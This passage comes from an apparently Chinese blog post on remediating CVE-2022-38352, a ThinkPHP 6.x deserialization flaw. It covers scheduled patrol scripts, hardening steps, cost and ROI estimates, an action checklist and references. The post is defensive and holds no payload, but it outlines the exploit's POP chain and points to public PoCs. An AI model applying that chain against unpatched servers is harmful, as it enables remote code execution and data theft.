mail -s "【严重】ThinkPHP 6.x 安全巡检告警" "$ALERT_EMAIL" < "$REPORT_FILE"
echo "已发送告警邮件"
fi
Crontab 配置
cron
# /etc/cron.d/thinkphp6-security
# 每天凌晨 3 点执行安全巡检
0 3 * * * root /opt/scripts/thinkphp6_security_patrol.sh /var/www/html >> /var/log/thinkphp6-patrol.log 2>&1
# 每小时检查反序列化攻击日志
0 * * * * root /opt/scripts/thinkphp6_attack_check.sh >> /var/log/thinkphp6-attack.log 2>&1
# 每周扫描业务代码反序列化入口
0 4 * * 1 root /opt/scripts/unserialize_audit.sh /var/www/html >> /var/log/unserialize-audit.log 2>&1
systemd 定时器配置
ini
# /etc/systemd/system/thinkphp6-patrol.service
[Unit]
Description=ThinkPHP 6.x Security Patrol
After=network.target
[Service]
Type=oneshot
ExecStart=/opt/scripts/thinkphp6_security_patrol.sh /var/www/html
StandardOutput=append:/var/log/thinkphp6-patrol.log
StandardError=append:/var/log/thinkphp6-patrol-error.log
# /etc/systemd/system/thinkphp6-patrol.timer
[Unit]
Description=Daily ThinkPHP 6.x Security Patrol
[Timer]
OnCalendar=*-*-* 03:00:00
Persistent=true
[Install]
WantedBy=timers.target
通知渠道集成
| 渠道 | 用途 | 配置方式 |
|---|---|---|
| 邮件 | 详细巡检报告 | mailx + SMTP |
| 企业微信 | 关键告警实时推送 | Webhook + curl |
| 钉钉机器人 | 值班通知 | Webhook + 关键字 |
| Prometheus AlertManager | 与监控集成 | Webhook receiver |
| 短信 | P0 告警 | 阿里云短信 API |
预防措施
- 代码审计 :CI/CD 流水线接入 PHP 代码扫描,禁止新增
unserialize调用 - 依赖管理 :每季度执行
composer audit,发现漏洞立即升级 - WAF 部署:在 Nginx/ModSecurity 层部署反序列化攻击拦截规则
- 文件完整性 :对
public/、runtime/目录做 FIM - Session 加固 :使用
session.serialize_handler = php_serialize,开启 strict_mode - 最小权限:PHP-FPM 用户对 Web 根目录只读
- 函数禁用 :PHP 配置
disable_functions禁用危险函数 - 定期演练:每半年进行一次反序列化攻击应急响应演练
💰 成本核算与价值量化
开发成本
| 成本项 | 工作量 | 人天 | 单价(元/天) | 小计(元) |
|---|---|---|---|---|
| 漏洞情报与 POP 链分析 | 研究公开 PoC + 复现 | 1.0 | 1,500 | 1,500 |
| 业务代码反序列化入口审计 | 全量扫描 + 评估风险 | 1.5 | 1,500 | 2,250 |
| 升级方案设计与测试 | 6.0.14 升级 + 业务回归 | 2.0 | 1,500 | 3,000 |
| 业务代码加固(unserialize 替换) | 重构缓存/Session 模块 | 2.0 | 1,500 | 3,000 |
| WAF 规则编写与验证 | Nginx + ModSecurity 规则 | 1.0 | 1,500 | 1,500 |
| 巡检脚本与监控告警 | Bash 巡检 + Prometheus 规则 | 1.5 | 1,500 | 2,250 |
| 开发成本合计 | 9.0 | 13,500 |
运行成本
| 成本项 | 频率 | 月成本(元) | 年成本(元) |
|---|---|---|---|
| 巡检脚本执行 | 每日 | 50 | 600 |
| Prometheus 监控存储 | 持续 | 200 | 2,400 |
| WAF 规则维护 | 每月 | 375 | 4,500 |
| 人工复核 | 每月 | 375 | 4,500 |
| 日志存储 | 持续 | 100 | 1,200 |
| 运行成本合计 | 1,100 | 13,200 |
收益对比
| 收益项 | 量化方式 | 金额(元/年) |
|---|---|---|
| 避免 RCE 导致的数据泄露 | 按一次 RCE 事故损失 80 万估算,概率 20% | 160,000 |
| 避免 Webshell 植入 | 按清理成本 5 万 + 业务损失 10 万,概率 30% | 45,000 |
| 避免横向移动 | 按内网渗透损失 50 万估算,概率 10% | 50,000 |
| 代码质量提升 | 移除 unserialize 调用,降低 30% 安全审计成本 | 30,000 |
| 合规审计效率提升 | 自动化巡检替代人工审计,节省 40 人天/年 | 60,000 |
| WAF 拦截降低误报 | 精确规则减少 70% 误报 | 18,000 |
| 收益合计 | 363,000 |
ROI 计算
text
年度总成本 = 开发成本 + 运行成本 = 13,500 + 13,200 = 26,700 元
年度总收益 = 363,000 元
ROI = (年度总收益 - 年度总成本) / 年度总成本 × 100%
= (363,000 - 26,700) / 26,700 × 100%
= 1,260%
投资回收期 = 年度总成本 / (年度总收益 / 12)
= 26,700 / (363,000 / 12)
≈ 0.88 个月(约 26 天)
💡 结论:本次漏洞修复与监控建设 ROI 达 1,260%,投资回收期不到 1 个月。CVE-2022-38352 EPSS 92.56%,被利用概率极高,企业内有 ThinkPHP 6.0.x 的必须立即修复。
工程效率收益
| 收益项 | 优化前 | 优化后 | 提升 |
|---|---|---|---|
| 漏洞发现到修复 | 7 天 | 1 小时 | 168x |
| 反序列化入口审计 | 全人工,5 天 | 脚本扫描,10 分钟 | 720x |
| Webshell 排查 | 全盘 find,4 小时 | 脚本扫描,10 分钟 | 24x |
| WAF 误报处理 | 每月 10 条 | 每月 1 条 | 10x |
| 应急响应 | 2 小时启动 | 5 分钟自动告警 | 24x |
8. 总结与行动清单
核心收获
- CVE-2022-38352 是 ThinkPHP 6.x 的"国民级"反序列化漏洞------CVSS 9.8,EPSS 92.56%,公开 PoC 满天飞
- 根因是 League\Flysystem Psr6Cache 的 POP 链 ------通过
__destruct→__toString→__call→call_user_func触发 RCE - 利用前提是业务代码存在 unserialize 入口------框架本身不主动反序列化,需业务代码"配合"
- 修复要"双管齐下"------升级框架到 6.0.14+ 消除 POP 链,业务代码加固消除入口
- 禁用 unserialize 改用 JSON 是根本解------JSON 不支持对象实例化,彻底杜绝 POP 链
- 必须保留 unserialize 时用 allowed_classes------白名单限制可实例化的类
- 输入数据签名验证是纵深防御------HMAC 签名确保数据未被篡改
立即行动清单
markdown
□ **今天完成**:
- [ ] 盘点所有 ThinkPHP 6.x 项目版本(composer.lock)
- [ ] 用 PoC 验证是否受影响(检查业务代码 unserialize 入口)
- [ ] 在 Nginx 配置 WAF 规则拦截 think\ 命名空间序列化数据
□ **本周完成**:
- [ ] 升级所有受影响项目到 6.0.14+ / 6.1.3+
- [ ] 全局扫描业务代码的 unserialize 调用
- [ ] 高风险入口立即添加 allowed_classes 限制
- [ ] 排查 public/ 目录是否有未知 PHP 文件
□ **本月完成**:
- [ ] 重构缓存/Session 模块,改用 JSON
- [ ] 部署 Prometheus 监控告警规则
- [ ] 上线自动化巡检脚本
- [ ] 配置 PHP disable_functions 禁用危险函数
- [ ] 配置 open_basedir 限制文件访问
- [ ] 对关键接口添加 HMAC 签名验证
- [ ] 进行一次完整的反序列化攻击应急响应演练
□ **长期机制**:
- [ ] CI/CD 流水线接入 PHP 代码扫描,禁止新增 unserialize
- [ ] 每季度执行 composer audit
- [ ] WAF 规则纳入版本控制
- [ ] 关注 ThinkPHP 官方安全公告
- [ ] 长期规划迁移到 ThinkPHP 8 + PHP 8.2+
参考链接
- CVE-2022-38352 NVD 详情:https://nvd.nist.gov/vuln/detail/CVE-2022-38352
- ThinkPHP GitHub Issue #2749:https://github.com/top-think/framework/issues/2749
- ThinkPHP GitHub Issue #2762(修复确认):https://github.com/top-think/framework/issues/2762
- ThinkPHP GitHub Issue #2793(新 POP 链):https://github.com/top-think/framework/issues/2793
- GitHub Advisory GHSA-qjjj-7g7h-54v3:https://github.com/advisories/GHSA-qjjj-7g7h-54v3
- Miggo 漏洞数据库 CVE-2022-38352:https://www.miggo.io/vulnerability-database/cve/CVE-2022-38352
- Watchstack 漏洞分析:https://watchstack.io/intel/cve/CVE-2022-38352
- PHP unserialize 官方文档(allowed_classes):https://www.php.net/manual/zh/function.unserialize.php
- CWE-502 反序列化不可信数据:https://cwe.mitre.org/data/definitions/502.html
👍 如果本文对你有帮助,欢迎点赞、收藏、转发!
💬 如果你在 ThinkPHP 6.x 升级或反序列化防护中遇到问题,请在评论区留言交流!
🔔 关注我,获取更多 PHP 框架安全漏洞修复实战干货!
✍️ 行文仓促,定有不足之处,欢迎各位朋友在评论区批评指正,不胜感激!
专栏导航:
- 📖 上一篇 : CVE-2018-20062 ThinkPHP 5.x invokefunction RCE 修复指南
- 📖 下一篇: ThinkPHP 5.1.41 多语言文件包含 RCE 修复指南(即将发布)
- 📚 专栏首页 : CVE 漏洞修复实战专栏
- 🌟 相关推荐 :
📌 真实性声明 :本文涉及的 CVE 编号、CVSS 评分、影响版本、修复版本信息均来源于 NVD、ThinkPHP 官方 GitHub Issue、GitHub Advisory 数据库等公开信息。漏洞 POP 链分析基于 ThinkPHP 6.0.13 的公开源码及 GitHub Issue #2749/#2793 中的公开 PoC 代码进行合理推断,标注的代码片段为简化示意,非完整原代码。攻击 Payload 来源于公开的 PoC 仓库,仅用于防御检测目的。成本估算中的金额基于国内一线城市安全工程师市场行情和典型业务损失数据,实际数值因企业规模而异。文中涉及的
${VAR}形式均为环境变量占位符,请勿硬编码到生产配置中。